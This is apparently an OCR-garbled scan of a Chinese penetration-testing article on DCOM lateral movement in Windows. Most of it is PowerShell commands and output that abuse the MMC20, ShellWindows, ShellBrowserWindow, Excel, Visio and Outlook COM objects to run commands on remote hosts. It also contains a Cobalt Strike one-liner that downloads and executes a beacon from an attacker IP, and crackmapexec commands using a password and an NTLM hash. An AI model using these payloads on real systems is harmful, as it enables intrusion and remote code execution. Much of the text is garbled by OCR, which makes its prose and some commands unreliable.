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HHNRRELE] COM WRIREL, £UT DLL B —FRIJER, SHaast,
HEARBEE THEXIEERIREADHIEA, WelDAEN Windows RN T A&

ZO&ES,

sy

PHEZ BRI DR EEA, MERIEES ENREFILUER S — TR, TMRFAE
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B4 DCOM: 1HENBIIMEIE R — T8N L aiTieF.,
DCOM %IJFR3IKEY

Powershell F181d Get-Ciminstance Win32_DCOMApplication ap<2 7] AFRHY
Dcom #2FIIFR, X Pap< 1t Powershell3.0 A ERRATZEE, RFE Windows
Server2012 &I E,

Powershell3.0 AT, AILUMER Get-WmiObject ap< (L E

Name

CLRUersion

BuildUersion

PSUersion
WSManStackUersion
PSCompatiblelUersions
SerializationUersion
PSRemotingProtocolUersion

PS C:\Users\Administrator> Get-CimInstance

PS C:\Users\Administrator> Get-WmiObject

https://mp.weixin.qq.com/s/59yPJSE3nRop357xdIANGg

2/9



PS C:\Users\Administrator>

Name

PSVersion

PSEdition
PSCompatibleVersions
BuildVersion

i JIDCOM AT i 155

Value

5.1.19641.1151

Desktop

{1.e, 2.0, 3.0, 4.0...}
10.0.196041.1151

CLRVersion 4.0.30319.42000
WSManStackV ion K

PSRemotingP: ocolVersion

SerializationVersion

1 [ cmdlet Get

H

PS C:\Users\Administrator> Get-WmiObject

DCOM 4§75 7E3KEN

AHREESTEZAE, LA Get-Member BE, Za S FARFEN SN Z
MEM, FRARNEENRUEENT D% Get-Member, #1421 MMC:

# PS3.00L L #ME—TMMCY R

$m = [System.Activator]::CreateInSTANCE([type]: :GetTypeFromProgID("MMC20.Appli
cation","127.0.0.1"))

# SEMMCIRHE TG A

$m.Document.ActiveView | Get-Member

[System.A or]: :CreateInSTANCE([type]: :GetTypeFromProgID(
.Document.ActiveView | Get-Member

TypeName:System.__ComObject#{6efc2da2-b3: U57e-9abb-ed2d189b8c!

MemberType Definition
Method Back ()
Method d Close ()
CopyScopeNode Method void CopyScopeNode (Variant)
CopySelection Method void CopySelection ()
Method void teScopeNode (Va
Method void DeleteSelection ()
Method void t (Nod
peNodePropertySheet Method d
lectionPropertySheet Method id
opeNodeMenuItem Method void eMenultem (string, Variant)
lectionMenultem Method void nMenultem (string)
ExecuteShellCommand Method void Execute LCommand (string, string, string, string)
ExportList Method id ExportList (string, ExportListOptions)
F Method Forward ()
Method bool I
Method int IsSelected (Node)
Method void Refr ode (Variant
Method void Refresh tion ()
Method void RenameScopeNode (string, Variant)
Method oid RenameSelectedItem (string)
Method d Select (Node)
SelectAll Method void SelectAll ()
SnapinScope0Obj Method IDispa SnapinScopeObje
SnapinSelectionObject Method IDispatch SnapinSelectionObject ()

PropertySheet (Variant)
SelectionPropertySheet ()
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vICTemeTCy ot 9 SN ooes y;
CellContents ParameterizedPrope tring CellContents (Node, int) {get}

ScopeNodeContextMenu ParameterizedProperty ContextMenu ScopeNedeContextMenu (Variant) {get}

DCOM ZithiiiTas <illid

FE MMC BB — ExecuteShellCommand 3%, %A A58 AR T
<, SEEAN BRI AE T E H1n:

https://docs.microsoft.com/zh—cn/previous—
versions/windows/desktop/mmc/view—executeshellcommand?
redirectedfrom=MSDN

ap < S Bl

$m = [System.Activator]::CreateInSTANCE([type]: :GetTypeFromProgID("MMC2@.Appli
cation","127.0.0.1"))
$m.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","Minimzed™)

F-PSERENNEE TGS, DEITER— exe X, B1MSHUE
EIEER, TUAERIER, BE=TIEENEHIPSH, BOMENEOW
RE, BREXFLT =1ME: Minimzed. Maximized. Restored, 23N,
ANRZE Minimzed, NI cmd & O &/ MURIRER TS, Maximized 2& [
BAMARENTHS, Restored L2IEEMIETT cmd BIABE DR EHITHZL.

SRR LATEEOMK T, RES—F, HWEN—T, LRI LUER

Minimzed,

FEMFIETE PS3.0 LERTTE, WIREF PS IREAAT S, a2 A=
17, 3.0 RANAEW T

$a = [Activator]::CreateInstance([Type]: :GetTypeFromCLSID('9BA@5972-F6A8-11CF-
A442-00AQCO0A8F39',"127.0.0.1"))

$a.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\window

S\ cvctram22" €T AN
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D \DySLllive yPIIULLyUy

PS3.0 A MEUIEE ID SKHTIEM, @< 9B BB—KBERAIZE ShellWindows

P, BY NENARIIREERANS I EER]:

AppID 9BABSY EA8 BOABCI0AS

dcom.txt -
M{HF) #wiE(E) #BI0(0) E&E(V) #EEMH)
_ CLASS : Win32_DCOMApplication
__ SUPERCLASS ¢ Win32_COMApplication
_ DYNASTY : CIM ManagedSystemElement
__RELPATH : Win32_ DCOMApplication. AppID="{9BA05972-F6A8-11CF-A442-00A0C90A8F39} ”
_ PROPERTY_COUNT : 6
_ DERIVATION {(Win32_COMApplication, CIM_LogicalElement, CIM_ManagedSystemElement)
__SERVER : STU1
_ NAMESPACE : root\cimv2 =
__PATH : \\STFl\root\cimvﬁ:WinSE_DCOMApplication.AppID:"{93A05972—F6A8—1lCF—A%iQ—OOAOC
8F39}”
AppID BB(OBA05972-F6AS-11CF-A442-00A0CI0ASF39)
Caption . ShellWindows
Description : ShellWindows

XA ERAN HIEBEM:

WPS C:\Users\Administrator> $a = [Activater]::Createlnstance([Type]: :GetTypeFromCLSID( ‘9BABSST2-FBAS-11CF-A442-00ABCIBASF|

39',"127.0.8.1"))
C:\Users\Rdministrator> $a.item().Document.Application | Get-Member

TypeName: System.__ComObject#(866738b3-6cf2-4de8-8767-FTI4ebeT4fl4e)
MemberType Definition

Method void AddToRecent (Variant, string)

Method Folder BrouseForFolder (int, string, int, Variant)

CanStartStopService Method Uariant CanStartStopService (string)

Cascadellindows Method void Cascadellindows ()

Method void ControlPanelltem (string)

Method void EjectPC ()

Method void Explore (Uariant)

Hethod Uariant ExplorerPolicy (string)

Method void FileRun ()

Method void FindComputer ()

Method void FindFiles ()

Hethod void FindPrinter (string, string, string)
GetSetting Method bool GetSetting (int)
GetSystemInformation Method Uariant GetSystemInformation (string)
Help Method void Help ()
IsRestricted Method int IsRestricted (string, string)
IsSeruviceRunning Method Uariant IsServiceRunning (string)
MinimizeAll Method void MinimizeAll ()
liNameSpace Method Folder NameSpace (Variant)

Open Method
RefreshMenu Method
SeruiceStart Method

void Open (Variant)
void RefreshMenu ()
Uariant ServiceStart (string, Uariant)
Uariant SeruviceStop (string, Variant)

ServiceStop Method

BB — ShellExecute J37%, 125 A HFHAIRARPI S22 55 X!

https://docs.microsoft.com/en—us/windows/win32/shell/shell-shellexecute

ATRERAN N :
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C:\Users\Administrator> $a = [Activator]::Createlnstance([Type]::GetTypeFromCLSID( ‘9BABSS72-FBAS-11CF-A442-DOADCIBASF|
©,"127.0.8.17))

C:\Users\Administrator> $a.item().Document.Application.ShellExecute({“cmd”,"/c calec"”, “c:\windows\system32" $null, @)
S C:\Users\Administrator>

0T T ——]

EN CCE )

DCOM inf2fiTas <llid
BEEN NEEEM DCOM BREEEEARIT—EES, mERBEML
EAMROIZ 119, RERE P En IP B,

AERR 1T BCHARRZEEEEAS N, SNWABEMBRIAAME,

ARR 20 BB AGERKE], SEZE AWM T Com BEmhSam N

PS C:\Users\Administrator> $a = [Activator]::CreateInstance( [Type]: :GetTypeFromCLSID( '9BAOSI72-FEAS-11CF-A442-BOABCIBAS
39°,7192.168.52.138"))

PS C:\Users\Administrator> $a.item().Document.Application.ShellExecute( “cmd”,"/c calc”, c:\windows\system32", $null,®)

PS C:\Users\Administrator> _

ANRBpXIETTERNE, SRELITIEX IR

PS C:\Users\Administrator> $a = [Activator]::Createlnstance([Type]::GetTypeFromCLSID( "9BABSIT2-FEAS-11CF-A442-00AOCIOASI
39°,"192.168.52.138"))

PS C:\Users\Administrator> $_

DCOM 7£ CS H#IR A

BEERMENAAEEBIRNITESK L2, thul CS 4 /Y Powershell a5
%2, XENNIMEN B ALEMN, ip 2 138, (BRI IAIVZS 143 815, 143 B
2%, D143 IPRSEmI .
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143 B> Web BRSS, XERifE 143 LIRE MWW, £A—1 PS BIAELE, 1f
138 NEHAT, @A

B Choose a payload - m] x
name payload host port
SMB windows/beacon_bind_pipe msagent
TEST-HTTP-8080 windows/beacon_http/reverse_htip 192168 136128 8080
WINT7-192.168.52 windows/beacon_reverse_lcp 192.168.52.143 4444

[ cnoose || ada || Hep

[STUL] Administrator */584

[Activator]::CreateInstance([Type]: :GetTypeFromCLSID( '9BAQ5972-F6A8-11CF-A442-
QOAQCO0A8F39",'192.168.52.138"')).item() .Document.Application.ShellExecute( " pow
ershell',"-nop -w hidden -c iex(New-Object Net.WebClient).DownloadString('htt
p://192.168.52.143/beacon.psl')", 'c:\windows\system32',$null, @)

XEFTMEEH )T LR powershell H47 FE#S, A beacon A3 5
#1417, 18 powershell HEiZiRan<, AJRESREAN—LERFS B0

C:\Users\Administrator>powershell
i s PowersShell ) ) )
ETi7E (C) 2009 Microsoft Corporation. {REHETENF.

PS C:\Users\Administrator> [Activator]::Createlnstance([Type]: :GetTypeFromCLSID( "SBAB5S72-F6A8-11CF -
A442-0DABCIBASF39', "192.168.52.138")) .item() .Document .Application.ShellExecute( "powershell” "~

hidden -c¢ iex(New-Object Net.WebClient) .DownloadString( http://192.168.52.143/beacon.psl’)”, ¢c:
ndows\system32',$null, 0)

PS C:\Users\Administrator> _

Cobalt Strike View Attacks Reporting Help
O O E=¢ BELPLU EeBED fa B S

external internal =~ listener
B 192.168.136.147 ocoo 192.168.52.138 TEST-HTTP-8080
-1 192.168.136.147 o000 192.168.52.138 TEST-HTTP-8080
R 192.168.136.147 192.168.136.147 TEST-HTTP-8080
HESEARFUAZENAT powershell ap<, X PMEAED CS #E4, EREDMEIT—
o

Hl

[B)RR, RXEn] S5

https://blog.cobaltstrike.com/2017/01/24/scripting—matt—nelsons—mmc20—

application—lateral-movement—technique/
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Impacket BJH#H dcomexec, HIAEEAAL psexeC. wmiexeC a8Z=NZ, (EIREX

K-S ZRBHIEN T, £/ object ZEUFETE AMHENA]:

Crackmapexec R

Crackmapexec & B G 1 shell I, RITHHENZ BinlN, BHEHEER
ERIEREY, [BI2kR4E cme EANBYIZE T, XEFE T cmd 89 mmcexec %!

# BAAE

crackmapexec smb --exec-method mmcexec -d . -u Administrator -p 'passl23' -x
"whoami" 192.168.204.183

# Hashfi%

crackmapexec smb --exec-method mmcexec -d . -u Administrator -H aad3b435b51404
eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 -x "whoami" 192.168.204.18
3

HEAMRITw <A

BR 7 E LAY mme. shelWindows BFAMNIS, A —EEBHEAF O HFmSH
17, & excel. visio, outlook &, TEIEMM LIEER, XEREEMNL,
SZEWT
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1, Excel Application

# tl#Excel.ApplicationzLl
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Applicatio

n","192.168.52.138"))
$com.DisplayAlerts = $false

# JHADDEInitiate 5’4
$com.DDEInitiate("cmd","/c calc")

2, ShellBrowserWindow

# pliEExcel.ApplicationsLfl), XEL2CLSIDRYS T

$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("CO8AFDI0-F2A1-11D
1-8455-00A0C91F3880","192.168.52.138"))

# JHfshellExecute 5%

$com.Document.Application.shellExecute("calc™)

3, Visio.Application

# DliEVisio.ApplicationsLfl

$com = [activator]::Createlnstance([type]: :GetTypeFromProgID("Visio.Applicatio
n","192.168.52.138"))

# JHFshellExecute ik

$com.[0].Document.Application.shellExecute("calc.exe")

4, Outlook.Application

# 0l#E#Visio.Applicationy %

$com = [activator]::CreateInstance([type]: :GetTypeFromProgID("Outlook.Applicat
ion","192.168.52.138"))

# JHF0utlooktliZShell . Applicationif%
$com.createObject("Shell.Application”).shellExecute("C:\shell.exe")

BZTEAABNENZAS, BRE Linux EHATREREFZEE, B4 Windows
22/ b aFE—ERAER, [0 impacket. crackmapexec, A HRIPIEER
Windows AT REF, MRAFSE, REXIEAIBRINE, FJUDRTFES
RS
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